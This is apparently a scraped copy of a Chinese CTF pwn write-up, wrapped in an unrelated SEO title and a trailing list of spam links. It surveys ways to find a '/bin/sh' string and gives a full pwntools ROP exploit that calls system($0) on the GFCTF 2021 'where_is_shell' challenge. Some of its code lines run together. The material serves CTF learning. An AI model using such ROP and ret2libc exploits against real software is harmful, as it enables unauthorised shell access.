当前位置: 首页 > news >正文

做动态二维码的网站百度置顶广告多少钱

做动态二维码的网站,百度置顶广告多少钱,网站开发 activex,做网站用php哪些知识点pwn题中要通过system/excute等返回shell,进而cat flag。今天遇到一题,参数$(0)也可返回,有必要记录一下。 目录 前言 一、/bin/sh 1.strings 2.IDA 3.pwntools 4.ROPgadget 5.libc中寻找 二、sh 三、$(0) exp IDA查看机器码 …

pwn题中要通过system/excute等返回shell,进而cat flag。今天遇到一题,参数$(0)也可返回,有必要记录一下。

目录

前言

一、'/bin/sh'

1.strings

2.IDA 

3.pwntools 

4.ROPgadget

5.libc中寻找

二、'sh'

三、$(0) 

exp

IDA查看机器码 

总结


前言

就system的参数而言,'/bin/sh'、'sh'、$(0),这三者似乎都可以返回shell


一、'/bin/sh'

这个无需多说,然而查找方式可以总结一下

1.strings

linux的指令~

strings filename | grep /bin/sh

2.IDA 

shift+F12即可获取所有的字符串即位置

当然,我这个截图里面没有'/bin/sh'

3.pwntools 

pwntools里面的ELF对象,除了能够查看plt和got表信息(地址)、symbols查看标识位置,还可以通过search来找字符串

from pwn import *
p = process("filename")
bin_sh_addr = next(p.search("/bin/sh"))
#bin_sh_addr = p.search("/bin/sh").next()
#这个next的使用,据我印象,好像是因为python2到python3的缘故

4.ROPgadget

ROPgadget --binary filename --strings '/bin/sh'

5.libc中寻找

from LibcSearcher import *
#=====================================================之所以称为ret2libc:=======================================================
libc=LibcSearcher('puts',puts_real_addr)         #LibcSearcher,通过函数名和函数真实地址来找到对应的libc(之后会做选择,选择正确的那个即可) 
libc_addr=puts_real_addr-libc.dump("puts")       #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr=libc_addr+libc.dump("str_bin_sh")    #'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
system_real_addr=libc_addr+libc.dump("system")   #system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量
#===============================================================================================================================

当然,如果给了本地文件,pwntools的ELF也可以类似于方法3找到字符串 


二、'sh'

这个是环境变量配置,做题的时候遇到过,用于替换‘/bin/sh',可以尝试一下


三、$(0) 

这是当前遇到的一道题目,[GFCTF 2021]where_is_shell

利用system($0)获得shell权限,$0在机器码中为 \x24\x30

题目给出了tips函数,这一串东西,是什么意思呢?地址也没有呀~

查看机器码

发现了24 30机器码,所以实际上我们可以把这里的地址作为参数。

exp

from pwn import *
from LibcSearcher import *context(os='linux',arch='amd64',log_level="debug")
io=remote("node4.anna.nssctf.cn",28559)elf=ELF("./shell")system_plt=elf.symbols['system']
#system_plt=0x400430
'''
if system_plt!=elf.symbols['system']:print(system_plt,"  ",elf.symbols["system"])
'''
#这里的bin_sh实际上是\x24\x30开始的地址
bin_sh=0x400541
rdi=0x4005e3
ret=0x400416payload=b'a'*(0x10+8)
payload+=p64(ret)
payload+=p64(rdi)+p64(bin_sh)
payload+=p64(system_plt)io.sendlineafter(b'it?\n',payload)
io.interactive()

IDA查看机器码 

opcode bytes设置一下,保存即可 


总结

对于system参数的选取,有必要总结一下。优化大概率事件嘛。以后遇到也会持续更新啦

http://www.15wanjia.com/news/42247.html

相关文章:

  • 网站后缀类型营销活动怎么做吸引人
  • 做网站费用会计分录怎么做成都网站设计公司
  • wordpress标签云怎么用搜索引擎优化的技巧有哪些
  • 布吉做棋牌网站建设哪家便宜西安优化网站公司
  • 网站怎么查哪家公司做的谷歌搜索引擎免费入口
  • 临沧市建设局网站厦门seo顾问屈兴东
  • 网络营销的特点包含()。站长工具seo排名查询
  • 宁波营销型网站建设优化建站流量主广告点击自助平台
  • 精美网页图片最优化方法
  • pc网站如何做seo快速申请免费个人网站
  • 消费者联盟网站怎么做公司的seo是什么意思
  • 做图片网站 侵权seo经验
  • 网站的毕业设计怎么做赣州seo唐三
  • 网站备案怎么关闭网站中国网站排名网
  • 有人找做网站的石家庄整站优化技术
  • 重庆网站制作多少钱百度竞价查询
  • wordpress固定链接目录seo自动工具
  • 武汉建站模板源码企业营销策划书如何编写
  • 罗湖附近公司做网站建设哪家效益快个人网站制作多少钱
  • 网站开发的论文引言免费html网页模板
  • 网站色彩设计市场监督管理局电话
  • 和幼女做视频网站百度电话怎么转人工
  • 网站空间后台登录百度关键词排名价格
  • 网站除了做流量还需要什么软件吗营销软件商城
  • 北京赛车彩票网站怎么做百度禁止seo推广
  • 淘宝客网站搜索怎么做搜索优化的培训免费咨询
  • 配送网站开发软件推广方案经典范文
  • php网站开发考试东莞关键词排名seo
  • 工信部网站备案文件跨境电商平台有哪些
  • wordpress没登录窗口seo整站优化吧